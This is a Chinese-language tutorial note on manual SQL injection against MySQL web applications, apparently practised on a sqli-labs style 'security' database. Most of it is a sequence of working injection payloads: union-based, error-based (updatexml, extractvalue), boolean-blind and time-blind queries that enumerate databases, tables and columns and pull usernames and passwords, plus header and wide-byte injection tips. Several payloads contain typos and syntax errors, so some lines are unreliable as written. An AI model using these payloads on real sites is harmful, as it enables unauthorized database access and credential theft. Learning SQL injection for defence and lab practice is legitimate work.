SQL手工注入
SQL注入原理:目标站点没有对用户在web表单递交或输入域名的页面上输入的查询字符串进行严格的过滤与验证,从而使输入的SQL语句被带入到数据库执行之后,获得数据库信息以及接管权限的web攻击漏洞。
SQL注入的条件:SQL注入漏洞的产生需满足两个条件
1、参数是可控的,就是参数使用户可以控制的。
2、参数能够被带入到数据库中执行。
SQL注入类型
按照数据库类型分类:Access、Mssql、Mysql、oracle、DB2等
按照数据提交方式:Get Post Cookie Request HTTP头
按照数据类型:数字型,字符型,搜索型
按执行效果:联合查询注入、报错注入、堆叠查询注入、时间盲注、布尔盲注
SQL注入流程
1、判断注入类型-->判断闭合方式-->判断是否存在注入
1、首先判断是否是数字型注入: 输入and 1=1 时,页面没有报错,并显示正常页面;再输入and 1=2 后,页面显示不正常,则为数字型注入。 如果输入两个都显示页面正常或都不正常,那就不是数字型或者不存在注入 2、再判断是否存在闭合: 输入 'and 1=1 --+ 时,页面正常,输入'and 1=2 --+后,页面不正常,则时存在注入,并且是单引号闭合的字符型注入, 如果页面都不正常,或都正常,则不是单引号闭合或不存在注入。 3、用其他闭合方式再次尝试上步操作
2、判断出存在注入之后,判断要用什么注入方式
(1)首先看是否能用union联合注入
因为union前面和后面的字段数量保持一致,所以先要判断字段数,用order by 3 页面正常,用order by 4页面不正常,说明有三个字段显示。
当能用联合注入的时候,就要判断回显位置
?id=-1 union select 1,2,3 //必须要设置id值为一个不存在的值
查询数据库名称
?id=-1 union select 1,database(),3 //单个数据库名 ?id=-1 union select 1,group_concat(database()),3
查询数据库下的表名,用内置库方式
?id=-1 union select 1,table_name,3 from information_schema.tables where table_schema='security' ?id=-1 union select 1, group_concat(table_name),3 from information_schema.tables where table_schema='security' limit 0,1
查询表下面的字段名
?id=-1 union select 1,columns_name,3 from information_schema.columns where table_name='users' limit 0,1 ?id=-1 union select 1,group_concat(column_name),3 from information_schema.columns where table_schema='security' and table_name='users' //因为一个数据库里面有许多表,有的表里面的字段名有相同的,就要用and来双重判断
查询字段下的内容
?id=-1 union select 1,username,password 3,from users
(2)字符型注入就判断出闭合条件,最后加上 --+
(3)搜索型注入再输入框里面输入的,最后面加上 #
(4)如果没有回显位置,但有报错信息,就用报错注入
常用函数:extractvalue()、updatexml()、floor()、exp()、linestring()、geometrycollection()、multipoint()、polygon()、multipolygon()、multilinestring()
updatexml()函数
查询数据库
?id=1' and updatexml(1,concat(0x7e,(select database()),0x7e),1) --+
查询数据表
?id=1' and updatexml(1,concat(0x7e,(select table_name from infromation_schema,tables where table_schema='security' limit 0,1),0x7e),1) --+ ?id=1' and updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema,tables where table_schema='security'),0x7e),1) --+
查询数据表下面的字段名
?id=1' and updatexml(1,concat(0x7e,(select column_name from information_schema.columns where table_schema='security' and table_name='users'),0x7e),1) --+
查询字段名下的内容
?id=1' and updatexml(1,concat(0x7e,(select password from users),0x7e),1) --+
extractvalue()函数:两个参数
查询数据库
?id=1' and extractvalue(1,concat(0x7e,select database(),0x7e)) --+
(5)既没有回显位置,又没有报错信息,就要用盲注
布尔盲注(会用到ASCII码)
数据库的判断
//判断是否是MySQL数据库 id=1' and exists(select * from information_schema.tables) --+ //判断是否是access数据库 ?id=1' and exists(select *from msysobjects) --+ //判断是否是Sqlserver数据库 ?id=1' and exists(select * from sysobjects) --+
判断数据库名的长度
?id=1' and length(database())>8 --+ //正确的话页面显示正常,错误的话显示不正常
判断数据库名的ASCII码
?id=1' and ascii(substr(database(),1,1))>112 --+ //判断数据库名字的第一个字符 ?id=1' and ascii(substr(database(),2,1))>112 --+ //判断数据库名字的第2个字符
判断数据库下的表的数量
?id=1' and (select count(table_name) from information-schema.tables where table_schema='security')>5 --+
判断表名的长度
?id=1' and length((select table_name from information_schema.tables where table_schema='security' limit 0,1))=6 --+
判断表名的ASCII码
?id=1' and ascii(substr(select table_name from information.schema where table_schema='security' limit 0,1)1,1)>134 --+ 判断第一个字符 ?id=1' and ascii(substr(select table_name from information.schema where table_schema='security' limit 0,1)2,1)>134 --+ 判断第2个字符
判断表下面的字段数量
?id=1' and (select count(column_name) from information_schema.columns where table_schema='security' and table_name='users')>5 --+
判断字段名的长度
?id=1'and length((select column_name from information_schema.columns where table_schema='security' and table_name='users' limit 0,1))>6 --+ 第一个字段名的长度
判断字段名的字母,用ASCII码
?id=1' and ascii(substr((select column_name from information_schema.columns where table_schema='security' and table_name='users' limit 0,1),1,1)) --+ 第一个字段名的的第一个字母 ?id=1' and ascii(substr((select column_name from information_schema.columns where table_schema='security' and table_name='users' limit 0,1),2,1)) --+ 第一个字段名的的第2个字母
查询字段名下的内容的数量
?id=1' and (select count(username) from users )>3 --+
获取字段的内容的长度
?id=1' and length((select username from users limit 0,1))>6 --+
获取第一个字段内容
?id=1' and ascii(substr((select username from users limit 0,1),1,1))>123 --+
时间盲注
判断数据库长度
?id=1' and if(length(database())>8,sleep(7),1) --+ 正确则页面加载速度大于7秒,错误则页面加载正常
判断数据库的ASCII码
?id=1' and if(ascii(substr((select database()),1,1))>115,sleep(7),1) --+
判断数据库下面的表的数量
?id=1'and if((select count(table_name) from information_schema.tables where table_schema='security')>6) --+
判断表的长度
?id=1'and if(length(select table_name from information_schema.tables where table_schema='security' limit 0,1)>4,sleep(7),1) --+
HTTP头部注入(闭合:' and xxxxxxx and' )用报错注入
用burp抓包
UA头注入、Cookie注入、Referer注入
当页面尝试闭合时,发现没有作用,可能是用来转义字符,那就要用宽字节注入
再1后面加上 %df 如?id=1%df' and 1=1 --+